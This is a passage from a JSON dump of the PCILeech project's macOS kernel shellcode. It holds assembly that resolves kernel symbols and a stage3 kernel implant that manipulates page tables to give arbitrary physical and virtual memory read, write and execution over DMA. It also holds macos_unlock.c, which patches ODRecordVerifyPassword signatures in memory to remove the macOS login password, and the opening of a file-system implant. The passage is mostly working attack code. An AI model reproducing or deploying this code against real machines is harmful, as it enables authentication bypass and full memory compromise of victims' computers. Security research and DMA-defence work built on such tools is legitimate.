rax, [rdi+rcx+10h]\n\tADD rax, [rdi+rcx+18h]\n\tRET\n\n\terror:\n\tXOR rax, rax\n\tRET\nmacho_parse_find_linkedit_end_addr ENDP\n\n; ----------------------------------------------------\n; parse mach-o header to find symtab location.\n; NB! no sanity checks performed !!!\n; destroyed registers :: rcx\n; rdi -> macho_header address\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nmacho_parse_find_symtab PROC\n\tMOV rcx, rdi\n\tADD rcx, 20h\n\t\n\tloop_search_symtab:\n\tMOV eax, 2\n\tCMP [rcx], eax\n\tJE success_search_symtab\n\tMOV eax, [rcx+4]\n\tADD rcx, rax\n\tJMP loop_search_symtab\n\t\n\tsuccess_search_symtab:\n\tMOV rax, rcx\n\tRET\nmacho_parse_find_symtab ENDP\n\n; ----------------------------------------------------\n; FIND EXPORTED SYMBOL IN THE MACOS-X KERNEL IMAGE\n; Function parses the MACH-O header. The symbol string section\n; is located at the end of the __LINKEDIT segment. The function\n; table is located just before the symbol string section at the\n; end of __LINKEDIT. The size of the function table is found in\n; the symtab in the mach-o header.\n; destroyed registers :: rcx, r8, r9\n; rcx -> rdi -> macho_header address\n; rdx -> rsi -> ptr to function name\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nLookupFunctionOSX PROC\n\t; ecx = counter\n\t; r8  = symtab_command address\n\t; r9  = symbol_table_current address\n\t; r10 = string_table_address\n\tPUSH r10\n\tPUSH rdi\n\tPUSH rsi\n\tMOV rdi, rcx\n\tMOV rsi, rdx\n\n\tCALL macho_parse_find_symtab\n\tMOV r8, rax\n\tCALL macho_parse_find_linkedit_end_addr\n\tMOV r9, rax\n\tMOV eax, [r8+14h]\t\t; symtab_command->strsize\n\tSUB r9, rax\n\tMOV r10, r9\n\n\t; SET UP LOOP\n\tMOV ecx, [r8+0Ch]\t\t; symtab_command->nsyms\n\t\n\tfinder_loop:\n\tSUB r9, 10h\n\tMOV rax, [r9+08h]\n\tSHR rax, 32\n\tCMP eax, 0ffffff80h\n\tJNE finder_loop_next_or_exit\n\n\tMOV edi, [r9]\n\tADD rdi, r10\n\tCALL strcmp_simple\n\tCMP rax, 0\n\tJE finder_loop_success\n\n\tfinder_loop_next_or_exit:\n\tLOOP finder_loop\n\tXOR rax, rax\n\tPOP rsi\n\tPOP rdi\n\tPOP r10\n\tRET\n\n\tfinder_loop_success:\n\tMOV rax, [r9+08h]\n\tPOP rsi\n\tPOP rdi\n\tPOP r10\n\tRET \nLookupFunctionOSX ENDP\n\n; ----------------------------------------------------\n; Lookup functions in the OSX kernel image.\n; This function is called by the c-code.\n; rcx = macho_header address\n; rdx = ptr to FNOSX struct\n; rax <- TRUE(1)/FALSE(0)\n; ----------------------------------------------------\nLookupFunctionsDefaultOSX PROC\n\t; ----------------------------------------------------\n\t; 0: SET UP / STORE NV-REGISTERS\n\t; ----------------------------------------------------\n\tPUSH r15\n\tPUSH r14\n\tPUSH r13\n\tMOV r15, rcx\t\t\t\t; address of macho_header\n\tMOV r14, rdx\t\t\t\t; ptr to FNLX struct \n\tMOV r13, 11*8\t\t\t\t; num functions * 8\n\t; ----------------------------------------------------\n\t; 1: PUSH FUNCTION NAME POINTERS ON STACK\n\t; ----------------------------------------------------\n\tLEA rax, str_kernel_map\n\tPUSH rax\n\tLEA rax, str_PE_state\n\tPUSH rax\n\tLEA rax, str_IOFree\n\tPUSH rax\n\tLEA rax, str_IOFreeContiguous\n\tPUSH rax\n\tLEA rax, str_IOMalloc\n\tPUSH rax\n\tLEA rax, str_IOMallocContiguous\n\tPUSH rax\n\tLEA rax, str_IOSleep\n\tPUSH rax\n\tLEA rax, str_memcmp\n\tPUSH rax\n\tLEA rax, str_memcpy\n\tPUSH rax\n\tLEA rax, str_memset\n\tPUSH rax\n\tLEA rax, str_vm_protect\n\tPUSH rax\n\t; ----------------------------------------------------\n\t; 2: LOOKUP FUNCTION POINTERS BY NAME\n\t; ----------------------------------------------------\n\tlookup_loop:\n\tSUB r13, 8\n\tMOV rcx, r15\n\tPOP rdx\n\tCALL LookupFunctionOSX\n\tTEST rax, rax\n\tJZ lookup_fail\n\tMOV [r14+r13], rax\n\tTEST r13, r13\n\tJNZ lookup_loop\n\t; ----------------------------------------------------\n\t; 3: RESTORE NV REGISTERS AND RETURN\n\t; ----------------------------------------------------\n\tPOP r13\n\tPOP r14\n\tPOP r15\n\tMOV rax, 1\n\tRET\n\tlookup_fail:\n\tXOR rax, rax\n\tRET\nLookupFunctionsDefaultOSX ENDP\n\nstr_kernel_map\t\t\tdb '_kernel_map', 0\nstr_PE_state\t\t\tdb '_PE_state', 0\nstr_IOFree\t\t\t\tdb '_IOFree', 0\nstr_IOFreeContiguous\tdb '_IOFreeContiguous', 0\nstr_IOMalloc\t\t\tdb '_IOMalloc', 0\nstr_IOMallocContiguous\tdb '_IOMallocContiguous', 0\nstr_IOSleep\t\t\t\tdb '_IOSleep', 0\nstr_memcmp\t\t\t\tdb '_memcmp', 0\nstr_memcpy\t\t\t\tdb '_memcpy', 0\nstr_memset\t\t\t\tdb '_memset', 0\nstr_vm_protect\t\t\tdb '_vm_protect', 0\n\n; ------------------------------------------------------------------\n; Convert from the Windows X64 calling convention to the SystemV\n; X64 calling convention used by Linux. A maximum of five (5)\n; parameters in addition to the function ptr can be supplied.\n; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);\n; QWORD SysVCall(QWORD fn, ...);\n; ------------------------------------------------------------------\nSysVCall PROC\n\tMOV rax, rcx\n\tPUSH rdi\n\tPUSH rsi\n\tMOV rdi, rdx\n\tMOV rsi, r8\n\tMOV rdx, r9\n\tMOV rcx, [rsp+28h+2*8+00h] ; 20h stack shadow space + 8h (RET) + 2*8h PUSH + xxh offset\n\tMOV r8,  [rsp+28h+2*8+08h]\n\tMOV r9,  [rsp+28h+2*8+10h]\n\tPUSH r15\n\tMOV r15, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL rax\n\tMOV rsp, r15\n\tPOP r15\n\tPOP rsi\n\tPOP rdi\n\tRET\nSysVCall ENDP\n\nPageFlush PROC\n\tMOV rax, cr3\n\tMOV cr3, rax\n\tRET\nPageFlush ENDP\n\nGetCR3 PROC\n\tMOV rax, cr3\n\tRET\nGetCR3 ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/macos_stage3_c.c",
    "content": "// ax64_stage3_c.c : stage3 main shellcode.\n// Compatible with macOS.\n//\n// (c) Ulf Frisk, 2016, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\ntypedef void\t\t\t\t\tVOID, *PVOID;\ntypedef int\t\t\t\t\t\tBOOL, *PBOOL;\ntypedef unsigned char\t\t\tBYTE, *PBYTE;\ntypedef char\t\t\t\t\tCHAR, *PCHAR;\ntypedef unsigned short\t\t\tWORD, *PWORD;\ntypedef unsigned long\t\t\tDWORD, *PDWORD;\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef void\t\t\t\t\t*HANDLE;\n#define MAX_PATH\t\t\t\t260\n#define TRUE\t\t\t\t\t1\n#define FALSE\t\t\t\t\t0\n\n//-------------------------------------------------------------------------------\n// EFI related defines below.\n//-------------------------------------------------------------------------------\n\ntypedef struct PE_state {\n\tQWORD initialized;\n\tQWORD video_dummy[18];\n\tPVOID deviceTreeHead;\n\tPVOID bootArgs;\n} PE_state_t, *PPE_state_t;\n\nenum {\n\tEfiReservedMemoryType = 0,\n\tEfiLoaderCode = 1,\n\tEfiLoaderData = 2,\n\tEfiBootServicesCode = 3,\n\tEfiBootServicesData = 4,\n\tEfiRuntimeServicesCode = 5,\n\tEfiRuntimeServicesData = 6,\n\tEfiConventionalMemory = 7,\n\tEfiUnusableMemory = 8,\n\tEfiACPIReclaimMemory = 9,\n\tEfiACPIMemoryNVS = 10,\n\tEfiMemoryMappedIO = 11,\n\tEfiMemoryMappedIOPortSpace = 12,\n\tEfiPalCode = 13,\n\tEfiMaxMemoryType = 14\n};\n\ntypedef struct tdEFI_MEMORY_RANGE {\n\tDWORD Type;\n\tDWORD Pad;\n\tQWORD PhysicalStart;\n\tQWORD VirtualStart;\n\tQWORD NumberOfPages;\n\tQWORD Attribute;\n} EFI_MEMORY_RANGE, *PEFI_MEMORY_RANGE;\n\n#define BOOT_LINE_LENGTH        1024\n\ntypedef struct tdBOOT_ARGS {\n\tQWORD RevisionAndVersion;\n\tCHAR  CommandLine[BOOT_LINE_LENGTH]; // Passed in command line \n\tDWORD MemoryMap; // Physical address of memory map \n\tDWORD MemoryMapSize;\n\tDWORD MemoryMapDescriptorSize;\n\tDWORD MemoryMapDescriptorVersion;\n\t// truncated struct members exists\n} BOOT_ARGS, *PBOOT_ARGS;\n\n//-------------------------------------------------------------------------------\n// Assembly functions below.\n//-------------------------------------------------------------------------------\n\nextern BOOL LookupFunctionsDefaultOSX(QWORD qwAddrKernelBase, QWORD qwAddrFNOSX);\nextern QWORD SysVCall(QWORD fn, ...);\nextern VOID PageFlush();\nextern QWORD GetCR3();\n\n//-------------------------------------------------------------------------------\n// General defines below.\n//-------------------------------------------------------------------------------\n\ntypedef struct tdPHYSICAL_MEMORY_RANGE {\n\tQWORD BaseAddress;\n\tQWORD NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\ntypedef struct tdFNMACOS { // function pointers to macOS functions (used in main control program)\n\tQWORD _kernel_map;\n\tQWORD _PE_state;\n\tQWORD IOFree;\n\tQWORD IOFreeContiguous;\n\tQWORD IOMalloc;\n\tQWORD IOMallocContiguous;\n\tQWORD IOSleep;\n\tQWORD memcmp;\n\tQWORD memcpy;\n\tQWORD memset;\n\tQWORD vm_protect;\n\tQWORD ReservedFutureUse[21];\n} FNMACOS, *PFNMACOS;\n\n#define KMDDATA_OPERATING_SYSTEM_MACOS\t\t\t0x04\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tFNMACOS fn;\t\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n#define KMD_CMD_VOID\t\t\t0xffff\n#define KMD_CMD_COMPLETED\t\t0\n#define KMD_CMD_READ\t\t\t1\n#define KMD_CMD_WRITE\t\t\t2\n#define KMD_CMD_TERMINATE\t\t3\n#define KMD_CMD_MEM_INFO\t\t4\n#define KMD_CMD_EXEC\t\t    5\n#define KMD_CMD_READ_VA\t\t\t6\n#define KMD_CMD_WRITE_VA\t\t7\n\n#define VM_MIN_KERNEL_ADDRESS 0xFFFFFF8000000000ULL\n\n//-------------------------------------------------------------------------------\n// Kernel module functions below.\n//-------------------------------------------------------------------------------\n\nBOOL GetMemoryMap(PKMDDATA pk, PBYTE pbBuffer4k_PhysicalMemoryRange, PQWORD pcbBuffer4k_PhysicalMemoryRange)\n{\n\tPBOOT_ARGS ba = ((PPE_state_t)pk->fn._PE_state)->bootArgs;\n\tPEFI_MEMORY_RANGE pEFIr;\n\tPPHYSICAL_MEMORY_RANGE pmr;\n\tQWORD cPmr = 0, o = 0;\n\tSysVCall(pk->fn.memset, pbBuffer4k_PhysicalMemoryRange, 0, 4096);\n\tpmr = (PPHYSICAL_MEMORY_RANGE)pbBuffer4k_PhysicalMemoryRange;\n\twhile(o < ba->MemoryMapSize) {\n\t\tpEFIr = (PEFI_MEMORY_RANGE)(VM_MIN_KERNEL_ADDRESS + ba->MemoryMap + o);\n\t\tif(pEFIr->Type < EfiMaxMemoryType && pEFIr->Type != EfiReservedMemoryType && pEFIr->Type != EfiUnusableMemory && pEFIr->Type != EfiMemoryMappedIO && pEFIr->Type != EfiMemoryMappedIOPortSpace) {\n\t\t\tif(cPmr && (pEFIr->PhysicalStart == pmr[cPmr - 1].BaseAddress + pmr[cPmr - 1].NumberOfBytes)) {\n\t\t\t\tpmr[cPmr - 1].NumberOfBytes += pEFIr->NumberOfPages * 0x1000;\n\t\t\t} else {\n\t\t\t\tpmr[cPmr].BaseAddress = pEFIr->PhysicalStart;\n\t\t\t\tpmr[cPmr].NumberOfBytes = pEFIr->NumberOfPages * 0x1000;\n\t\t\t\tcPmr++;\n\t\t\t}\n\t\t}\n\t\to += ba->MemoryMapDescriptorSize;\n\t}\n\t*pcbBuffer4k_PhysicalMemoryRange = cPmr * sizeof(PHYSICAL_MEMORY_RANGE);\n\treturn TRUE;\n}\n\n// status:\n//     1: ready for command\n//     2: processing\n//     f0000000: terminated\n//     f0000000+: error\n// op: - see KMD_CMD defines\n// result:\n//    0: FALSE\n//    1: TRUE\n// address:\n//    physical base address for memory operation\n// size:\n//    size of memory operation\nVOID stage3_c_EntryPoint(PKMDDATA pk)\n{\n\tQWORD qwBufferOutDMA, qwBufferOutDMA_Phys;\n\tQWORD qwPT_PA, qwPT_VA, qwCR3;\n\tQWORD i, idleCount = 0;\n\t// 0: set up symbols and kmd data\n\tpk->MAGIC = 0x0ff11337711333377;\n\tpk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_MACOS;\n\tif(!LookupFunctionsDefaultOSX(pk->AddrKernelBase, (QWORD)&pk->fn)) {\n\t\tpk->_status = 0xf0000001;\n\t\treturn;\n\t}\n\t// 1: set up mem out DMA area 4MB/16MB in lower 4GB\n\tpk->DMASizeBuffer = 0x1000000;\n\tqwBufferOutDMA = SysVCall(pk->fn.IOMallocContiguous, 0x01000000, 12, &qwBufferOutDMA_Phys);\n\tif(!qwBufferOutDMA) {\n\t\tpk->DMASizeBuffer = 0x00400000;\n\t\tqwBufferOutDMA = SysVCall(pk->fn.IOMallocContiguous, 0x00400000, 12, &qwBufferOutDMA_Phys);\n\t}\n\tif(!qwBufferOutDMA) {\n\t\tpk->DMASizeBuffer = 0;\n\t\tpk->_status = 0xf0000002;\n\t\treturn;\n\t}\n\tif(!qwBufferOutDMA_Phys || qwBufferOutDMA_Phys > (0x100000000 - pk->DMASizeBuffer)) {\n\t\tpk->_status = 0xf0000003;\n\t\treturn;\n\t}\n\tpk->DMAAddrPhysical = qwBufferOutDMA_Phys;\n\tpk->DMAAddrVirtual = qwBufferOutDMA;\n\tSysVCall(pk->fn.vm_protect, *(PQWORD)pk->fn._kernel_map, qwBufferOutDMA, pk->DMASizeBuffer, 0, 7);\n\t// 2: set up page tables - used to read physical memory @ 0xffffee8000000000\n\tqwCR3 = GetCR3();\n\tqwPT_VA = SysVCall(pk->fn.IOMallocContiguous, 0xA000, 12, &qwPT_PA);\n\tif(!qwPT_VA || (qwPT_VA & 0xfff)) {\n\t\tpk->_status = 0xf0000004;\n\t\treturn;\n\t}\n\tSysVCall(pk->fn.memset, qwPT_VA, 0, 0xA000);\n\tfor(i = 0; i < 8; i++) { // PD -> PT*8 (512*8*4k=16M)\n\t\t((PQWORD)(qwPT_VA + 0x1000))[i] = 0x0000000000000023 | (qwPT_PA + 0x1000 * (i + 2));\n\t}\n\t*(PQWORD)(qwPT_VA + 0x0000) = 0x0000000000000023 | (qwPT_PA + 0x1000); // PDPT -> PD\n\t*(PQWORD)(VM_MIN_KERNEL_ADDRESS + (qwCR3 & 0x00000000fffff000) + 0xEE8) = 0x0000000000000023 | qwPT_PA; // PML4 -> PDPT\n\tpk->ReservedKMD[0] = qwPT_VA;\n\t// 3: main command loop.\n\twhile(TRUE) {\n\t\tpk->_status = 1;\n\t\tif(KMD_CMD_COMPLETED == pk->_op) { // NOP\n\t\t\tidleCount++;\n\t\t\t// thread wait after X number of idle loops - TODO: change to timing\n\t\t\tif(idleCount > 10000000000) {\n\t\t\t\tSysVCall(pk->fn.IOSleep, 100);\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tpk->_status = 2;\n\t\tif(KMD_CMD_TERMINATE == pk->_op) { // EXIT\n\t\t\tpk->_status = 0xf0000000;\n\t\t\tSysVCall(pk->fn.IOFreeContiguous, qwBufferOutDMA, 0x01000000);\n\t\t\tpk->DMAAddrPhysical = 0;\n\t\t\tpk->DMAAddrVirtual = 0;\n\t\t\t*(PQWORD)(VM_MIN_KERNEL_ADDRESS + (qwCR3 & 0x00000000fffff000) + 0xEE8) = 0;\n\t\t\tSysVCall(pk->fn.IOFreeContiguous, qwPT_VA, 0xA000);\n\t\t\tpk->_result = TRUE;\n\t\t\tpk->MAGIC = 0;\n\t\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\t\treturn;\n\t\t}\n\t\tif(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)\n\t\t\tpk->_result = GetMemoryMap(pk, (PBYTE)pk->DMAAddrVirtual, &pk->_size);\n\t\t}\n\t\tif(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer\n\t\t\t((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))qwBufferOutDMA)(pk, pk->dataIn, pk->dataOut);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE\n\t\t\tfor(i = 0; i < 512 * 8; i++) { // PT*8 -> Pages\n\t\t\t\t((PQWORD)(qwPT_VA + 0x2000))[i] = 0x8000000000000003 | ((pk->_address & 0x7ffffffffffff000) + 0x1000 * i);\n\t\t\t}\n\t\t\tPageFlush();\n\t\t\tif(KMD_CMD_READ == pk->_op) { // READ\n\t\t\t\tSysVCall(pk->fn.memcpy, qwBufferOutDMA, 0xffffee8000000000 + (pk->_address & 0xfff), pk->_size);\n\t\t\t} else { // WRITE\n\t\t\t\tSysVCall(pk->fn.memcpy, 0xffffee8000000000 + (pk->_address & 0xfff), qwBufferOutDMA, pk->_size);\n\t\t\t}\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address\n\t\t\tSysVCall(pk->fn.memcpy, qwBufferOutDMA, pk->_address, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address\n\t\t\tSysVCall(pk->fn.memcpy, pk->_address, qwBufferOutDMA, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\tidleCount = 0;\n\t}\n}"
  },
  {
    "path": "pcileech_shellcode/macos_unlock.c",
    "content": "// macos_unlock.c : kernel code to remove the password requirement when logging on to macOS.\n//\n// (c) Ulf Frisk, 2016, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_unlock.c\n// ml64.exe macos_common_a.asm /Femacos_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_unlock.obj macos_common.obj\n// shellcode64.exe -o macos_unlock.exe \"APPLE macOS UNLOCKER - REMOVE PASSWORD REQUIREMENT!              \\n=================================================================\\nREQUIRED OPTIONS:                                                \\n  -0   : Set to one (1) in order to unlock.                      \\n         Example: '-0 1'.                                        \\n===== RESULT AFTER UNLOCK ATTEMPT (0=SUCCESS) ===================%s\\nSTATUS        : 0x%08X  \\n=================================================================\\n\"\n//\n#include \"macos_common.h\"\n\n//----------------------------------------------------------------------------------------------------------\n\ntypedef struct tdSignatureChunk {\n\tWORD cbOffset;\n\tBYTE cb;\n\tBYTE pb[8];\n} SIGNATURE_CHUNK, *PSIGNATURE_CHUNK;\n\ntypedef struct tdSignature {\n\t// in unlock mode: \n\t//   chunk[0] = signature chunk 1 (required) \n\t//   chunk[1] = signature chunk 2 (optional)\n\t//   chunk[2] = patch chunk (required)\n\tSIGNATURE_CHUNK chunk[3];\n} SIGNATURE, *PSIGNATURE;\n\n//----------------------------------------------------------------------------------------------------------\n\nBOOL Unlock_FindAndPatch(PKMDDATA pk, PBYTE pbPage, PSIGNATURE pSignatures, DWORD cSignatures)\n{\n\tBOOL result = FALSE;\n\tDWORD i;\n\tPSIGNATURE ps;\n\tfor(i = 0; i < cSignatures; i++) {\n\t\tps = pSignatures + i;\n\t\tif(!ps->chunk[0].cb || SysVCall(pk->fn.memcmp, pbPage + ps->chunk[0].cbOffset, ps->chunk[0].pb, (QWORD)ps->chunk[0].cb)) {\n\t\t\tcontinue;\n\t\t}\n\t\tif(ps->chunk[1].cb && SysVCall(pk->fn.memcmp, pbPage + ps->chunk[1].cbOffset, ps->chunk[1].pb, (QWORD)ps->chunk[1].cb)) {\n\t\t\tcontinue;\n\t\t}\n\t\tSysVCall(pk->fn.memcpy, pbPage + ps->chunk[2].cbOffset, ps->chunk[2].pb, (QWORD)ps->chunk[2].cb);\n\t\tresult = TRUE;\n\t}\n\treturn result;\n}\n\n#define NUMBER_OF_SIGNATURES 4\nSTATUS Unlock(PKMDDATA pk)\n{\n\tSIGNATURE oSigs[NUMBER_OF_SIGNATURES] = {\n\t\t{ .chunk = { // CFOpenDirectory!ODRecordVerifyPassword (El Capitan | 466064 bytes)\n\t\t\t{ .cbOffset = 0xfce,.cb = 6,.pb = { 0xe8, 0x69, 0xc4, 0x00, 0x00, 0xeb, 0x02, 0x31 } },\n\t\t\t{ .cbOffset = 0xfd3,.cb = 6,.pb = { 0xeb, 0x02, 0x31, 0xdb, 0x88, 0xd8, 0x48, 0x83 } },\n\t\t\t{ .cbOffset = 0xfd7,.cb = 2,.pb = { 0xb0, 0x01 } } }\n\t\t},\n\t\t{ .chunk = { // CFOpenDirectory!ODRecordVerifyPassword (El Capitan | 466064 bytes)\n\t\t\t{ .cbOffset = 0x134,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xf7, 0xe8 } },\n\t\t\t{ .cbOffset = 0x13c,.cb = 8,.pb = { 0x3e, 0xc4, 0x00, 0x00, 0xeb, 0x02, 0x31, 0xdb } },\n\t\t\t{ .cbOffset = 0x144,.cb = 2,.pb = { 0xb0, 0x01 } } }\n\t\t},\n\t\t{ .chunk = { // CFOpenDirectory!ODRecordVerifyPassword (Sierra 10.12.3)\n\t\t\t{ .cbOffset = 0x130,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xf7, 0xe8 } },\n\t\t\t{ .cbOffset = 0x138,.cb = 8,.pb = { 0x3e, 0xc4, 0x00, 0x00, 0xeb, 0x02, 0x31, 0xdb } },\n\t\t\t{ .cbOffset = 0x140,.cb = 2,.pb = { 0xb0, 0x01 } } }\n\t\t},\n\t\t{ .chunk = { // CFOpenDirectory!ODRecordVerifyPassword (Sierra 10.12.4)\n\t\t\t{ .cbOffset = 0x130,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xf7, 0xe8 } },\n\t\t\t{ .cbOffset = 0x138,.cb = 8,.pb = { 0x1a, 0xc4, 0x00, 0x00, 0xeb, 0x02, 0x31, 0xdb } },\n\t\t\t{ .cbOffset = 0x140,.cb = 2,.pb = { 0xb0, 0x01 } } }\n\t\t},\n\t};\n\tPBYTE pbMemoryMap;\n\tQWORD cbMemoryMap, qwBaseAddress, qwMemoryAddressMax, o;\n\tBOOL result = FALSE;\n\t// 1: Retrieve physical memory map\n\tpbMemoryMap = (PBYTE)SysVCall(pk->fn.IOMalloc, 4096);\n\tif(!pbMemoryMap) {\n\t\treturn STATUS_FAIL_OUTOFMEMORY;\n\t}\n\tif(!GetMemoryMap(pk, pbMemoryMap, &cbMemoryMap)) {\n\t\treturn STATUS_FAIL_MEMORYMAP_NOT_FOUND;\n\t}\n\tqwMemoryAddressMax = GetMemoryPhysicalMaxAddress(pbMemoryMap, cbMemoryMap);\n\t// 2: Search for the memory signature and patch it.\n\tfor(qwBaseAddress = 0; qwBaseAddress < qwMemoryAddressMax; qwBaseAddress += 0x01000000) {\n\t\tMapMemoryPhysical(pk, qwBaseAddress);\n\t\tfor(o = 0; o < 0x01000000; o += 0x1000) {\n\t\t\tif(IsRangeInPhysicalMap(pbMemoryMap, cbMemoryMap, qwBaseAddress + o, 0x1000)) {\n\t\t\t\tresult = Unlock_FindAndPatch(pk, (PBYTE)(VM_MIN_PHYSICALMAPPING_ADDRESS + o), oSigs, NUMBER_OF_SIGNATURES) || result;\n\t\t\t}\n\t\t}\n\t}\n\tSysVCall(pk->fn.IOFree, pbMemoryMap, 4096);\n\treturn result ? STATUS_SUCCESS : STATUS_FAIL_SIGNATURE_NOT_FOUND;\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tif(pk->dataIn[0] == 1) {\n\t\tpk->dataOut[0] = Unlock(pk);\n\t} else {\n\t\tpk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;\n\t}\n}"
  },
  {
    "path": "pcileech_shellcode/macos_vfs.c",
    "content": "// macos_vfs.c : kernel code to support the PCILeech file system.\n// Compatible with Apple macOS.\n//\n// (c) Ulf Frisk, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_vfs.c\n// ml64 macos_common_a.asm /Femacos_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_vfs.obj macos_common.obj\n// shellcode64.exe -o macos_vfs.exe\n// \n\n#include \"macos_common.h\"\n\n//-----------------------------------------------------------------------------\n// Core defines and typedefs shared between kernel implants and pcileech.\n//-----------------------------------------------------------------------------\n\n#define VFS_OP_MAGIC\t\t\t\t0x79e720ad93aa130f\n#define VFS_OP_CMD_LIST_DIRECTORY\t1\n#define VFS_OP_CMD_WRITE\t\t\t2\n#define VFS_OP_CMD_READ\t\t\t\t3\n#define VFS_OP_CMD_CREATE\t\t\t4\n#define VFS_OP_CMD_DELETE\t\t\t5\n\n#define VFS_FLAGS_FILE_NORMAL\t\t0x01\n#define VFS_FLAGS_FILE_DIRECTORY\t0x02\n#define VFS_FLAGS_FILE_SYMLINK\t\t0x04\n#define VFS_FLAGS_FILE_OTHER\t\t0x08\n#define VFS_FLAGS_UNICODE\t\t\t0x10\n#define VFS_FLAGS_EXIST_FILE\t\t0x20\n#define VFS_FLAGS_TRUNCATE_ON_WRITE\t0x40\n#define VFS_FLAGS_APPEND_ON_WRITE\t0x80\n\ntypedef struct tdVFS_OPERATION {\n\tQWORD magic;\n\tQWORD op;\n\tQWORD flags;\n\tCHAR szFileName[MAX_PATH];\n\tWCHAR wszFileName[MAX_PATH];\n\tQWORD offset;\n\tQWORD cb;\n\tBYTE pb[];\n} VFS_OPERATION, *PVFS_OPERATION;\n\ntypedef struct tdVFS_RESULT_FILEINFO {\n\tQWORD flags;\n\tQWORD tAccessOpt;\n\tQWORD tModifyOpt;\n\tQWORD tCreateOpt;\n\tQWORD dbg1;\n\tQWORD dbg2;\n\tQWORD cb;\n\tWCHAR wszFileName[MAX_PATH];\n} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;\n\n//-----------------------------------------------------------------------------\n// Other required defines and typedefs.\n//-----------------------------------------------------------------------------\n\n#define O_ACCMODE\t\t0x0003\n#define 